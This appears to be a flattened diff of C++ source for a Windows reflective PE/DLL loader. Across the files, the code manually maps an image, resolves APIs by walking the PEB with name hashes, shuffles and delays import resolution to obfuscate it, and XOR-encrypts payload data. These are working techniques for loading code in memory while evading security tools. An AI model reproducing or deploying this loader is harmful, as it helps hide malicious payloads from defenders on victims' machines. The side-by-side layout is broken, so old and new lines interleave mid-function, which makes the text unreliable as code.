{ dwNewProtect = PAGE_NOACCESS;
dwNewProtect = PAGE_NOACCESS;
}
if (dwIsWritable)
{
dwNewProtect = PAGE_WRITECOPY;
}
if (dwIsReadable)
{
dwNewProtect = PAGE_READONLY;
}
if (dwIsWritable && dwIsReadable)
{
dwNewProtect = PAGE_READWRITE;
}
if (dwIsExecutable)
{
dwNewProtect = PAGE_EXECUTE;
}
if (dwIsExecutable && dwIsWritable)
{
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
}
if (dwIsExecutable && dwIsReadable)
{
dwNewProtect = PAGE_EXECUTE_READ;
}
if (dwIsExecutable && dwIsWritable && dwIsReadable)
{
dwNewProtect = PAGE_EXECUTE_READWRITE;
}
lpAddress = reinterpret_cast<LPVOID>(pNewImageBase + pSectionHeader->VirtualAddress);
pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect);
} }
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0); if (dwIsWritable) {
dwNewProtect = PAGE_WRITECOPY;
}
if (dwIsReadable) {
dwNewProtect = PAGE_READONLY;
}
if (dwIsWritable && dwIsReadable) {
dwNewProtect = PAGE_READWRITE;
}
if (dwIsExecutable) {
dwNewProtect = PAGE_EXECUTE;
}
if (dwIsExecutable && dwIsWritable) {
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
}
if (dwIsExecutable && dwIsReadable) {
dwNewProtect = PAGE_EXECUTE_READ;
}
if (dwIsExecutable && dwIsWritable && dwIsReadable) {
dwNewProtect = PAGE_EXECUTE_READWRITE;
}
lpAddress = reinterpret_cast<LPVOID>(pNewImageBase + pSectionHeader->VirtualAddress);
pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect);
}
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
} }
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng) BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, const std::mt19937 &eng) {
{ auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if (pImportDescriptor == nullptr) if (pImportDescriptor == nullptr) {
{ return FALSE;
return FALSE; }
/*
1.) Shuffle Import Table entries
2.) Delay the relocation of each import a semirandom duration
3.) Conditional execution based on ordinal/name
4.) Indirect function call via pointer
*/
int importCount = 0;
auto pId = pImportDescriptor;
while (pId->Name) {
importCount++;
pId++;
}
std::vector<std::pair<int, DWORD>> sleepDurations;
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS);
if (importCount > 1 && OBFUSCATE_IMPORTS) {
for (auto i = 0; i < importCount - 1; i++) {
std::uniform_int_distribution<> distr(i, importCount - 1);
int j = distr(eng);
// Swap
auto tmp = pImportDescriptor[i];
pImportDescriptor[i] = pImportDescriptor[j];
pImportDescriptor[j] = tmp;
// Store unique sleep durations with their corresponding import index
auto sleepTime = sleepDist(eng);
sleepDurations.push_back(std::make_pair(i, sleepTime));
}
}
LPCWSTR pwszModuleName;
HMODULE hModule;
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) {
// Apply delay
if (OBFUSCATE_IMPORTS) {
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair) { return pair.first == i; });
if (it != sleepDurations.end()) {
pSleep(it->second);
}
} }
/* pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
1.) Shuffle Import Table entries hModule = pLoadLibraryW(pwszModuleName);
2.) Delay the relocation of each import a semirandom duration
3.) Conditional execution based on ordinal/name
4.) Indirect function call via pointer
*/
int importCount = 0; if (hModule == nullptr) {
auto pId = pImportDescriptor; return FALSE;
while (pId->Name)
{
importCount++;
pId++;
} }
std::vector<std::pair<int, DWORD>> sleepDurations; pThunkData = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS); pThunkDataIat = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->FirstThunk);
if (importCount > 1 && OBFUSCATE_IMPORTS) LPCSTR lpProcName;
{ PIMAGE_IMPORT_BY_NAME pImportByName;
for (auto i = 0; i < importCount - 1; i++)
{
std::uniform_int_distribution<> distr(i, importCount - 1);
int j = distr(eng);
// Swap for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) {
auto tmp = pImportDescriptor[i]; if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
pImportDescriptor[i] = pImportDescriptor[j]; // High bits masked out to get the ordinal number
pImportDescriptor[j] = tmp; lpProcName = reinterpret_cast<LPCSTR>(pThunkData->u1.Ordinal & 0xFFFF);
} else {
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(pNewImageBase + pThunkData->u1.AddressOfData);
lpProcName = pImportByName->Name;
}
// Store unique sleep durations with their corresponding import index pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
auto sleepTime = sleepDist(eng);
sleepDurations.push_back(std::make_pair(i, sleepTime));
}
} }
}
LPCWSTR pwszModuleName; return TRUE;
HMODULE hModule;
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++)
{
// Apply delay
if (OBFUSCATE_IMPORTS)
{
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair)
{ return pair.first == i; });
if (it != sleepDurations.end())
{
pSleep(it->second);
}
}
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
hModule = pLoadLibraryW(pwszModuleName);
if (hModule == nullptr)
{
return FALSE;
}
pThunkData = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
pThunkDataIat = reinterpret_cast<PIMAGE_THUNK_DATA64>(pNewImageBase + pImportDescriptor->FirstThunk);
LPCSTR lpProcName;
PIMAGE_IMPORT_BY_NAME pImportByName;
for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++)
{
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
{
// High bits masked out to get the ordinal number
lpProcName = reinterpret_cast<LPCSTR>(pThunkData->u1.Ordinal & 0xFFFF);
}
else
{
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
pImportByName = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(pNewImageBase + pThunkData->u1.AddressOfData);
lpProcName = pImportByName->Name;
}
pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
}
}
return TRUE;
} }
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) {
{ auto pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pNewImageBase + pDataDirectory->VirtualAddress);
auto pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pNewImageBase + pDataDirectory->VirtualAddress);
if (pRelocation == nullptr || pDataDirectory->Size == 0) if (pRelocation == nullptr || pDataDirectory->Size == 0) {
{ return FALSE;
return FALSE; }
// Upper bound to prevent accessing memory part the end of the relocation data
auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
PIMAGE_RELOC pRelocationList;
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) {
pRelocationList = reinterpret_cast<PIMAGE_RELOC>(pRelocation + 1);
while (reinterpret_cast<PBYTE>(pRelocationList) < reinterpret_cast<PBYTE>(pRelocation) + pRelocation->SizeOfBlock) {
auto pPatchAddress = reinterpret_cast<PBYTE>(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset);
// Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD
switch (pRelocationList->type) {
case IMAGE_REL_BASED_DIR64:
*reinterpret_cast<PULONG_PTR>(pPatchAddress) += ulpDelta;
break;
case IMAGE_REL_BASED_HIGHLOW:
*reinterpret_cast<PDWORD>(pPatchAddress) += static_cast<DWORD>(ulpDelta);
break;
case IMAGE_REL_BASED_HIGH:
*reinterpret_cast<PWORD>(pPatchAddress) += HIWORD(ulpDelta);
break;
case IMAGE_REL_BASED_LOW:
*reinterpret_cast<PWORD>(pPatchAddress) += LOWORD(ulpDelta);
break;
default:
continue;
}
pRelocationList++;
} }
// Upper bound to prevent accessing memory part the end of the relocation data pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pRelocationList);
auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size; }
PIMAGE_RELOC pRelocationList;
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) return TRUE;
{
pRelocationList = reinterpret_cast<PIMAGE_RELOC>(pRelocation + 1);
while (reinterpret_cast<PBYTE>(pRelocationList) < reinterpret_cast<PBYTE>(pRelocation) + pRelocation->SizeOfBlock)
{
auto pPatchAddress = reinterpret_cast<PBYTE>(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset);
// Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD
switch (pRelocationList->type)
{
case IMAGE_REL_BASED_DIR64:
*reinterpret_cast<PULONG_PTR>(pPatchAddress) += ulpDelta;
break;
case IMAGE_REL_BASED_HIGHLOW:
*reinterpret_cast<PDWORD>(pPatchAddress) += static_cast<DWORD>(ulpDelta);
break;
case IMAGE_REL_BASED_HIGH:
*reinterpret_cast<PWORD>(pPatchAddress) += HIWORD(ulpDelta);
break;
case IMAGE_REL_BASED_LOW:
*reinterpret_cast<PWORD>(pPatchAddress) += LOWORD(ulpDelta);
break;
default:
continue;
}
pRelocationList++;
}
pRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>(pRelocationList);
}
return TRUE;
} }
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) {
{ // Copy headers
// Copy headers auto pbDst = reinterpret_cast<PBYTE>(pNewImageBase);
auto pbDst = reinterpret_cast<PBYTE>(pNewImageBase); std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst);
std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst);
// Copy sections // Copy sections
auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
pbDst = reinterpret_cast<PBYTE>(pNewImageBase + pSectionHeader->VirtualAddress); pbDst = reinterpret_cast<PBYTE>(pNewImageBase + pSectionHeader->VirtualAddress);
PBYTE pbSrc; PBYTE pbSrc;
for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) {
{ pbSrc = reinterpret_cast<PBYTE>(pbImage + pSectionHeader->PointerToRawData);
pbSrc = reinterpret_cast<PBYTE>(pbImage + pSectionHeader->PointerToRawData); std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst);
std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst); }
}
} }
PBYTE GetModuleAddressFromHash(DWORD dwHash) PBYTE GetModuleAddressFromHash(DWORD dwHash) {
{ // https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
#if defined(_WIN64) #if defined(_WIN64)
// PEB is at GS:[0x60] // PEB is at GS:[0x60]
auto pPEB = reinterpret_cast<PPEB>(__readgsqword(0x60)); auto pPEB = reinterpret_cast<PPEB>(__readgsqword(0x60));
#else #else
// PEB is at FS:[0x30] // PEB is at FS:[0x30]
auto pPEB = reinterpret_cast<PPEB>(__readfsdword(0x30)); auto pPEB = reinterpret_cast<PPEB>(__readfsdword(0x30));
#endif #endif
auto pLdr = reinterpret_cast<PMY_PEB_LDR_DATA>(pPEB->Ldr); auto pLdr = reinterpret_cast<PMY_PEB_LDR_DATA>(pPEB->Ldr);
auto pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pLdr->InLoadOrderModuleList.Flink); auto pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pLdr->InLoadOrderModuleList.Flink);
while (pEntry->DllBase != NULL) while (pEntry->DllBase != NULL) {
{ if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) {
if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) return reinterpret_cast<PBYTE>(pEntry->DllBase);
{
return reinterpret_cast<PBYTE>(pEntry->DllBase);
}
pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pEntry->InLoadOrderLinks.Flink);
} }
pEntry = reinterpret_cast<PMY_LDR_DATA_TABLE_ENTRY>(pEntry->InLoadOrderLinks.Flink);
}
return nullptr;
}
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, const std::mt19937 &eng) {
auto pNtHeaders = GetNtHeaders(pbModule);
if (pNtHeaders == nullptr) {
return nullptr; return nullptr;
}
auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
auto *pExport = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(pbModule + pExportDir->VirtualAddress);
/*
1.) Read the export data (dwNameRva's)
2.) Shuffle the order of the collected export name RVA's
3.) Find the correct export by calculating hashes of the function names
*/
DWORD dwNameRva;
std::vector<std::tuple<DWORD, size_t>> vNameRvas;
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
dwNameRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfNames))[i];
vNameRvas.push_back(std::make_tuple(dwNameRva, i));
}
std::shuffle(vNameRvas.begin(), vNameRvas.end(), eng);
DWORD dwNameHash, dwFunctionRva;
UNICODE_STRING *strFunctionNameBase;
WORD wOrdinal;
for (auto dwNRva : vNameRvas) {
strFunctionNameBase = reinterpret_cast<UNICODE_STRING *>(pbModule + std::get<0>(dwNRva));
dwNameHash = CalculateHash(*strFunctionNameBase);
if (dwNameHash == dwHash) {
wOrdinal = (reinterpret_cast<WORD *>(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)];
dwFunctionRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfFunctions))[wOrdinal];
return reinterpret_cast<HMODULE>(pbModule + dwFunctionRva);
}
}
return nullptr;
} }
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng) PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) {
{ auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pbImage);
auto pNtHeaders = GetNtHeaders(pbModule);
if (pNtHeaders == nullptr)
{
return nullptr;
}
auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
auto *pExport = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(pbModule + pExportDir->VirtualAddress);
/*
1.) Read the export data (dwNameRva's)
2.) Shuffle the order of the collected export name RVA's
3.) Find the correct export by calculating hashes of the function names
*/
DWORD dwNameRva;
std::vector<std::tuple<DWORD, size_t>> vNameRvas;
for (DWORD i = 0; i < pExport->NumberOfNames; i++)
{
dwNameRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfNames))[i];
vNameRvas.push_back(std::make_tuple(dwNameRva, i));
}
std::shuffle(vNameRvas.begin(), vNameRvas.end(), eng);
DWORD dwNameHash, dwFunctionRva;
UNICODE_STRING *strFunctionNameBase;
WORD wOrdinal;
for (auto dwNRva : vNameRvas)
{
strFunctionNameBase = reinterpret_cast<UNICODE_STRING *>(pbModule + std::get<0>(dwNRva));
dwNameHash = CalculateHash(*strFunctionNameBase);
if (dwNameHash == dwHash)
{
wOrdinal = (reinterpret_cast<WORD *>(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)];
dwFunctionRva = (reinterpret_cast<DWORD *>(pbModule + pExport->AddressOfFunctions))[wOrdinal];
return reinterpret_cast<HMODULE>(pbModule + dwFunctionRva);
}
}
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return nullptr; return nullptr;
} }
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS64>(pbImage + pDosHeader->e_lfanew);
{
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pbImage); if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return nullptr;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) }
{
return nullptr; return pNtHeaders;
}
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS64>(pbImage + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return nullptr;
}
return pNtHeaders;
} }

View File

@ -2,6 +2,7 @@
#include <windows.h> #include <windows.h>
#include <winternl.h> #include <winternl.h>
#include <algorithm> #include <algorithm>
#include <random> #include <random>
@ -29,8 +30,7 @@ using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID);
using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD); using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD);
// Complete WinAPI PEB structs // Complete WinAPI PEB structs
struct _MY_PEB_LDR_DATA struct _MY_PEB_LDR_DATA {
{
ULONG Length; ULONG Length;
BOOL Initialized; BOOL Initialized;
PVOID SsHandle; PVOID SsHandle;
@ -41,8 +41,7 @@ struct _MY_PEB_LDR_DATA
using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA; using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA;
using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *; using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *;
struct _MY_LDR_DATA_TABLE_ENTRY struct _MY_LDR_DATA_TABLE_ENTRY {
{
LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InInitializationOrderLinks;
@ -55,8 +54,7 @@ struct _MY_LDR_DATA_TABLE_ENTRY
using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY; using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY;
using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *; using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *;
struct _IMAGE_RELOC struct _IMAGE_RELOC {
{
WORD offset : 12; WORD offset : 12;
WORD type : 4; WORD type : 4;
}; };
@ -64,10 +62,10 @@ using IMAGE_RELOC = _IMAGE_RELOC;
using PIMAGE_RELOC = _IMAGE_RELOC *; using PIMAGE_RELOC = _IMAGE_RELOC *;
PBYTE GetModuleAddressFromHash(DWORD dwHash); PBYTE GetModuleAddressFromHash(DWORD dwHash);
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng); HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, const std::mt19937 &eng);
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage); PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders); void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng); BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, const std::mt19937 &eng);
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache); void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);

View File

@ -1,75 +1,63 @@
#include "crypto.hpp" #include "crypto.hpp"
std::vector<BYTE> GenerateKey(size_t keysize) std::vector<BYTE> GenerateKey(size_t keysize) {
{ std::vector<BYTE> key(keysize, 0);
std::vector<BYTE> key(keysize, 0); std::random_device rd;
std::random_device rd; std::mt19937 gen(rd());
std::mt19937 gen(rd()); std::uniform_int_distribution<> dis(0, 255);
std::uniform_int_distribution<> dis(0, 255);
for (size_t i = 0; i < key.size(); ++i) for (size_t i = 0; i < key.size(); ++i) {
{ key[i] = static_cast<BYTE>(dis(gen));
key[i] = static_cast<BYTE>(dis(gen)); }
}
return key; return key;
} }
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key) void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key) {
{ for (size_t i = 0; i < data->size(); i++) {
for (size_t i = 0; i < data.size(); i++) (*data)[i] = (*data)[i] ^ key[i % key.size()];
{ }
data[i] = data[i] ^ key[i % key.size()];
}
} }
DWORD CalculateHash(const std::string &source) DWORD CalculateHash(const std::string &source) {
{ auto dwHash = HASH_KEY;
auto dwHash = HASH_KEY;
for (char ch : source) for (char ch : source) {
{ if (ch == '\0') {
if (ch == '\0') continue;
{
continue;
}
if (ch >= 'a' && ch <= 'z')
{
ch -= 0x20;
}
// Casting might be unnecessary
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
} }
return dwHash; if (ch >= 'a' && ch <= 'z') {
} ch -= 0x20;
DWORD CalculateHash(const UNICODE_STRING &baseDllName)
{
auto pwszBaseDllName = baseDllName.Buffer;
auto dwHash = HASH_KEY;
char ch;
for (auto i = 0; i < baseDllName.MaximumLength; i++)
{
ch = pwszBaseDllName[i];
if (ch == '\0')
{
continue;
}
if (ch >= 'a' && ch <= 'z')
{
ch -= 0x20;
}
// Casting might be unnecessary
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
} }
return dwHash; // Casting might be unnecessary
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
}
return dwHash;
}
DWORD CalculateHash(const UNICODE_STRING &baseDllName) {
auto pwszBaseDllName = baseDllName.Buffer;
auto dwHash = HASH_KEY;
char ch;
for (auto i = 0; i < baseDllName.MaximumLength; i++) {
ch = pwszBaseDllName[i];
if (ch == '\0') {
continue;
}
if (ch >= 'a' && ch <= 'z') {
ch -= 0x20;
}
// Casting might be unnecessary
dwHash = ((dwHash << 5) + dwHash) + static_cast<DWORD>(ch);
}
return dwHash;
} }

View File

@ -2,12 +2,14 @@
#include <windows.h> #include <windows.h>
#include <winternl.h> #include <winternl.h>
#include <string>
#include <random> #include <random>
#include <string>
#include <vector>
constexpr auto HASH_KEY = 5381; constexpr auto HASH_KEY = 5381;
std::vector<BYTE> GenerateKey(size_t keysize); std::vector<BYTE> GenerateKey(size_t keysize);
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key); void XorCipher(std::vector<BYTE> *data, const std::vector<BYTE> &key);
DWORD CalculateHash(const std::string &source); DWORD CalculateHash(const std::string &source);
DWORD CalculateHash(const UNICODE_STRING &baseDllName); DWORD CalculateHash(const UNICODE_STRING &baseDllName);

View File

@ -1,17 +1,15 @@
#include "futils.hpp" #include "futils.hpp"
std::vector<BYTE> ReadFromFile(const std::string &filename) std::vector<BYTE> ReadFromFile(const std::string &filename) {
{ std::ifstream file(filename, std::ios::binary);
std::ifstream file(filename, std::ios::binary); std::vector<BYTE> data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
std::vector<BYTE> data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>()); file.close();
file.close();
return data; return data;
} }
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data) void WriteToFile(const std::string &filename, const std::vector<BYTE> &data) {
{ std::ofstream file(filename, std::ios::binary);
std::ofstream file(filename, std::ios::binary); file.write(reinterpret_cast<const char *>(data.data()), data.size());
file.write(reinterpret_cast<const char *>(data.data()), data.size()); file.close();
file.close(); }
}

View File

@ -1,9 +1,10 @@
#pragma once #pragma once
#include <windows.h> #include <windows.h>
#include <fstream>
#include <string> #include <string>
#include <vector> #include <vector>
#include <fstream>
std::vector<BYTE> ReadFromFile(const std::string &filename); std::vector<BYTE> ReadFromFile(const std::string &filename);
void WriteToFile(const std::string &filename, const std::vector<BYTE> &data); void WriteToFile(const std::string &filename, const std::vector<BYTE> &data);